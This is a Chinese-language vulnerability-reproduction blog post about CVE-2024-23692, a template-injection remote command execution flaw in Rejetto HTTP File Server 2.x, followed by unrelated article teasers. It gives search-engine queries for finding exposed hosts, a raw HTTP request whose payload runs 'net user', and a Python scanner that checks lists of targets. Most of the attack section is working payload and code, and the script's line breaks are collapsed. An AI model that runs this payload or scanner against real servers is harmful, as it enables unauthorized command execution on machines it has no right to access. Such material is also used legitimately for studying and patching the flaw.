【漏洞复现】Rejetto HTTP文件服务器——远程命令执行(CVE-2024-23692)

news/2024/9/15 5:00:33/ 标签: 渗透测试, 网络安全

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件,它允许用户在本地计算机上快速搭建一个文件共享服务。其 2.x系列 存在CVE-2024-23692远程命令执行漏洞,攻击者可在无需登陆的情况下利用模板注入执行任意命令,从而控制服服务器。

漏洞复现

1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"
在这里插入图片描述
巧合是上帝默默操控世界的方式。
在这里插入图片描述
2)构造数据包

GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip

代码解释:

/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

这个payload实际上是一个经过编码的命令,让我们更详细地分析其各个组成部分:

  1. 编码前原始命令

    • 原始命令是这样的:cmd=net user &search=xxx%url:password
    • 这里cmd代表命令,net user是Windows系统中查看用户账户的命令。
    • &search=xxx%url:password部分是一个搜索条件。
  2. URL编码

    • %0A是换行符\n的URL编码形式。
    • %25是百分号%的URL编码形式,所以%25xxx%25代表%xxx%
  3. 脚本或命令行工具语法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}这部分是一个特定脚本或命令行工具的语法,用于执行命令并设置参数。
    • .exec是执行命令的标志。
    • {.?cmd.}是一个动态替换为实际命令的占位符。
    • timeout=15设置了命令执行的超时时间限制为15秒。
    • out=abc.指定了输出结果应该被写入到以abc为前缀的文件中,但具体文件扩展名未知。
  4. 输出结果

    • RESULT:{.?n.}{.?n.}{.^abc.}这部分指定了输出结果的格式。
    • {.?n.}可能是用于输出变量或特定值的占位符。
    • {.^abc.}可能表示将输出追加到之前提到的以abc为前缀的文件中。
  5. 分隔符

    • ====用作分隔符,以区分输出中的不同部分。

这个payload可能是用于在远程服务器或网络设备上执行命令,获取用户列表,并搜索包含特定字符串的用户账户。
在这里插入图片描述
在回显中看到了用户名,命令被执行,漏洞存在。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl# 定义红色和重置终端输出格式的常量,用于高亮显示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):"""检查给定URL是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)。:param url: 待检查的URL字符串。"""try:# 忽略HTTPS证书验证错误,以进行漏洞测试# 忽略不安全的HTTPS请求警告ssl._create_default_https_context = ssl._create_unverified_context# 解析URL以获取主机、方案和路径信息# 解析URLparsed_url = urlparse(url)host = parsed_url.netlocscheme = parsed_url.schemepath = parsed_url.path if parsed_url.path else '/'# 构造利用漏洞的攻击路径# 构造完整的攻击URL路径attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"# 根据URL的方案(HTTP或HTTPS)创建连接对象# 根据URL的协议类型,选择合适的连接方式if scheme == "https":conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(host)# 发送GET请求到构造的攻击路径# 发送请求conn.request("GET", attack_path)response = conn.getresponse()# 读取并解码响应数据data = response.read().decode('utf-8')# 检查响应状态码是否为200且数据中是否包含'Administrator',以判断漏洞是否存在if response.status == 200 and 'Administrator' in data:print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692){RESET}")else:print(f"URL [{url}] 不存在漏洞")# 关闭HTTP连接conn.close()except Exception as e:# 打印在检测过程中发生的任何异常print(f"URL [{url}] 在检测过程中发生错误: {e}")def main():"""程序主入口,负责解析命令行参数并调用漏洞检测函数。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 解析命令行参数args = parser.parse_args()# 如果指定了URL参数if args.url:# 确保URL以HTTP或HTTPS开头,否则添加HTTPif not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 调用漏洞检测函数check_vulnerability(args.url)# 如果指定了文件参数elif args.file:# 读取文件中的每行作为URL,逐个检查with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 确保URL以HTTP或HTTPS开头,否则添加HTTPif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述


多少事,从来急,天地转,光阴迫,一万年太久,只争朝夕。


http://www.ppmy.cn/news/1475983.html

相关文章

【图解大数据技术】流式计算:Spark Streaming、Flink

【图解大数据技术】流式计算:Spark Streaming、Flink 批处理 VS 流式计算Spark StreamingFlinkFlink简介Flink入门案例Streaming Dataflow Flink架构Flink任务调度与执行task slot 和 task EventTime、Windows、WatermarksEventTimeWindowsWatermarks 批处理 VS 流式…

UnityECS学习中问题及总结entityQuery.ToComponentDataArray和entityQuery.ToEntityArray区别

在Unity的ECS&#xff08;Entity Component System&#xff09;开发中&#xff0c;entityQuery.ToComponentDataArray<T>(Allocator.Temp) 和 entityQuery.ToEntityArray(Allocator.Temp) 是两种不同的方法&#xff0c;用于从实体查询中获取数据。除了泛型参数之外&#…

AI人工智能开源大模型生态体系分析

人工智能开源大模型生态体系研究 "人工智能开源大模型生态体系研究报告v1.0"揭示&#xff0c;AI(A)的飞速发展依赖于三大核心&#xff1a;数据、算法和算力。这一理念已得到业界广泛认同&#xff0c;三者兼备才能推动AI的壮大发展。随着AI大模型的扩大与普及&#xf…

iPhone恢复篇:如何从iPhone恢复误删除的照片

iPhone用户喜欢它的相机。使用其引人注目的功能捕捉昂贵的记忆是 iOS 设备的最大吸引力之一。但是&#xff0c;与任何其他手机一样&#xff0c;数码照片也可能会从iPhone中丢失。 如果丢失的照片包括您珍贵的回忆——假期、婚礼、您孩子的一岁生日或朋友的聚会&#xff0c;那么…

python-Web

FLASK整体框架: from flask import Flask,render_templateapp Flask(__name__)app.route("/show/info")#网址 def index():#网址对应的函数return render_template("index.html")#falsk 支持将字符串写入文件if __name____main__:app.run()#访问网站的时…

springboot1——快速构建项目

需求 第一步&#xff1a;创建maven工程(非web项目) 第二步&#xff1a;导入起步依赖 点击&#xff1a; 下拉复制&#xff1a; 粘贴&#xff1a;&#xff01;&#xff01;这是springboot工程需要继承的父工程 下拉复制&#xff1a; 粘贴&#xff1a;&#xff01;&#xf…

大白话之SpringMVC中的ModelAndView

在Spring MVC框架中&#xff0c;ModelAndView是一个非常关键的类&#xff0c;它用于封装控制器(Controller)方法执行后的两个重要输出&#xff1a;模型数据(Model)和视图(View)。 让我们用大白话来解释一下&#xff1a; 想象一下&#xff0c;你去一家餐厅点餐。服务员&#x…

Qt 多语言

记录Qt多语言的实现过程 目录 1.项目配置文件.pro配置 2.程序中的字符串用tr()封装 3.生成翻译文件 4.使用Qt语言家修改翻译文件 4.1使用Qt语言家打开 4.2 .更改文件配置 5. 生成qm文件 6.代码执行切换语言 6.1入口处 6.2 事件执行 0.效果 1.项目配置文件.pro配置 T…

电脑只有一个C盘怎么办?

在日常使用电脑的过程中&#xff0c;不少用户会遇到电脑只有一个C盘的情况。C盘作为系统盘&#xff0c;既要运行操作系统&#xff0c;又要安装各种软件和存放用户文件&#xff0c;时间一长&#xff0c;C盘就容易爆满&#xff0c;导致系统运行缓慢&#xff0c;甚至出现崩溃。那么…

Calibration相机内参数标定

1.环境依赖 本算法采用张正友相机标定法进行实现&#xff0c;内部对其进行了封装。 环境依赖为 ubuntu20.04 opencv4.2.0 yaml-cpp yaml-cpp安装方式&#xff1a; &#xff08;1&#xff09;git clone https://github.com/jbeder/yaml-cpp.git #将yaml-cpp下载至本地 &a…

开源科学工程技术软件

目录 0 参考链接 1 Silx 2 Klampt 3 参数化三维3D软件Dune 3D 4 GPS日志文件查看器GPXSee 5 三维3D软件Chili3D 6 集成电路设计软件XicTools 7 天文学软件Cosmonium 8 计算流体力学软件FluidX3D 9 点云处理软件CloudCompare 10 野外火灾建模软件WindNinja 11 电子设…

DVC+Minio

由于参数文件比较大&#xff0c;因此onnx、engine等大文件弃用LFS管理&#xff0c;改用dvc管理&#xff1a; minio就是存储用的 启动miniosudo netstat -ntpl#查看端口号 sudo kill -9 $(sudo lsof -i:5061 -t) 关闭端口对应进程 ./minio server --console-address ":6570…

昇思25天学习打卡营第二十四天|基于MindSpore通过GPT实现情感分类

基于MindSpore通过GPT实现情感分类 导入数据集 import osimport mindspore from mindnlp._legacy.engine import Evaluator, Trainer from mindnlp._legacy.engine.callbacks import BestModelCallback, CheckpointCallback from mindnlp._legacy.metrics import Accuracy fr…

【Vue3】4个比较重要的设计模式!!

大家好,我是CodeQi! 一位热衷于技术分享的码仔。 在我投身于前端开发的职业生涯期间,曾有一次承接了一个大型项目的维护工作。此项目运用的是 Vue 框架,然而其代码结构紊乱不堪,可维护性极度糟糕😫。 这使我深刻领会到,理解并运用 Vue 中的重要设计模式是何等关键! …

#if defined(WEBRTC_USE) webrtc.a的宏机制

#ifndef是 if not define的缩写,#ifdef 是 if define 的缩写。 define有两种,一种是单纯宏定义,一种是定义宏为特定值。 #define WEBRTC_USE_H264#defined WEBRTC_USE_H264 11.1定义值用作预处理: #define A 0

NAT地址转换+多出口智能选路,附加实验内容

本章主要讲&#xff1a;基于目标IP、双向地址的转换 注意&#xff1a;基于目标NAT进行转换 ---基于目标IP进行地址转换一般是应用在服务器端口映射&#xff1b; NAT的基础知识 1、服务器映射 服务器映射是基于目标端口进行转换&#xff0c;同时端口号也可以进行修改&…

堆、栈和队列(数据结构)

堆、栈和队列&#xff08;数据结构&#xff09; 这里写目录标题 堆、栈和队列&#xff08;数据结构&#xff09;**栈****队列**堆&#xff08;Heap&#xff09;&#xff08;&#xff09;队列&#xff08;Queue&#xff09;&#xff08;FIFO&#xff09;栈&#xff08;Stack&…

【C++】15.二叉搜索树

一、二叉搜索树的概念 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者是具有以下性质的二叉树: 若它的左子树不为空&#xff0c;则左子树上所有节点的值都小于根节点的值若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于根节点的值它的左…

vue中缩放比的使用

大屏适用性比较大&#xff0c;后台系统不推荐 抽组件&#xff0c;scaleScreen <template><divid"screen":style"{width: ${style.width}px,height: ${style.height}px,transform: ${style.transform},}"><slot ></slot></div&g…

leetcode:2833. 距离原点最远的点(python3解法)

难度&#xff1a;简单 给你一个长度为 n 的字符串 moves &#xff0c;该字符串仅由字符 L、R 和 _ 组成。字符串表示你在一条原点为 0 的数轴上的若干次移动。 你的初始位置就在原点&#xff08;0&#xff09;&#xff0c;第 i 次移动过程中&#xff0c;你可以根据对应字符选择…